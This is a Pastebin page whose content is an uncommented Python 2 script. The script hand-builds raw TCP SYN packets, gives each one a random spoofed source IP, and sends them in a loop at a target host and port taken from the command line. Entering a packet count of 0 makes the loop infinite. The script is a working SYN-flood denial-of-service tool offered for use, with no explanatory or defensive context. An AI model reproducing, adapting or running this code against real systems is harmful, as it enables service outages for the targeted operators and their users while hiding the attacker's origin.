Advertisement
Guest User

Untitled

a guest
Mar 1st, 2015
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.03 KB | None | 0 0
  1. import socket, sys, random
  2. from struct import *
  3.  
  4. def checksum(msg):
  5. s = 0
  6.  
  7. for i in range(0, len(msg), 2):
  8. w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
  9. s = s + w
  10.  
  11. s = (s>>16) + (s & 0xffff);
  12. s = s + (s >> 16);
  13.  
  14. s = ~s & 0xffff
  15.  
  16. return s
  17. def rawsocket(source_ip, dest_ip, source_port, dest_port, message):
  18. ip_ihl = 5
  19. ip_ver = 4
  20. ip_tos = 0
  21. ip_tot_len = 0
  22. ip_id = 54321
  23. ip_frag_off = 0
  24. ip_ttl = 255
  25. ip_proto = socket.IPPROTO_TCP
  26. ip_check = 0
  27. ip_saddr = socket.inet_aton ( source_ip )
  28. ip_daddr = socket.inet_aton ( dest_ip )
  29.  
  30. ip_ihl_ver = (ip_ver << 4) + ip_ihl
  31.  
  32. ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
  33.  
  34. tcp_source = int(source_port)
  35. tcp_dest = int(dest_port)
  36. tcp_seq = 454
  37. tcp_ack_seq = 0
  38. tcp_doff = 5
  39.  
  40. tcp_fin = 0
  41. tcp_syn = 1
  42. tcp_rst = 0
  43. tcp_psh = 0
  44. tcp_ack = 0
  45. tcp_urg = 0
  46. tcp_window = socket.htons(5840)
  47. tcp_check = 0
  48. tcp_urg_ptr = 0
  49.  
  50. tcp_offset_res = (tcp_doff << 4) + 0
  51. tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
  52.  
  53. tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
  54.  
  55. user_data = str(message)
  56.  
  57. source_address = socket.inet_aton( source_ip )
  58. dest_address = socket.inet_aton(dest_ip)
  59. placeholder = 0
  60. protocol = socket.IPPROTO_TCP
  61. tcp_length = len(tcp_header) + len(user_data)
  62.  
  63. psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
  64. psh = psh + tcp_header + user_data;
  65.  
  66. tcp_check = checksum(psh)
  67.  
  68. tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
  69.  
  70. packet = ip_header + tcp_header + user_data
  71. return packet
  72.  
  73. if len(sys.argv) == 4:
  74.  
  75. try:
  76. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  77. except socket.error , msg:
  78. print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  79. sys.exit()
  80.  
  81. if int(sys.argv[3]) == 0:
  82. count = -99999999999999999999999999999
  83. else :
  84. count = 1
  85. while (count <= int(sys.argv[3])):
  86. source_ip = str(random.randint(1,255)) + '.' + str(random.randint(1,255)) + '.'+ str(random.randint(1,255)) + '.' + str(random.randint(1,255))
  87. dest_ip = socket.gethostbyname(sys.argv[1])
  88. port = sys.argv[2]
  89. packet = rawsocket(source_ip, dest_ip, port, port, "message :p")
  90.  
  91. s.sendto(packet, (dest_ip , 0 ))
  92. print "Send to " + dest_ip + " from " + source_ip
  93. count = count + 1
  94. else:
  95. print "usage : " + sys.argv[0] + " {DestinationIP or domain} {port} {number of packet (0 if infinite)}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement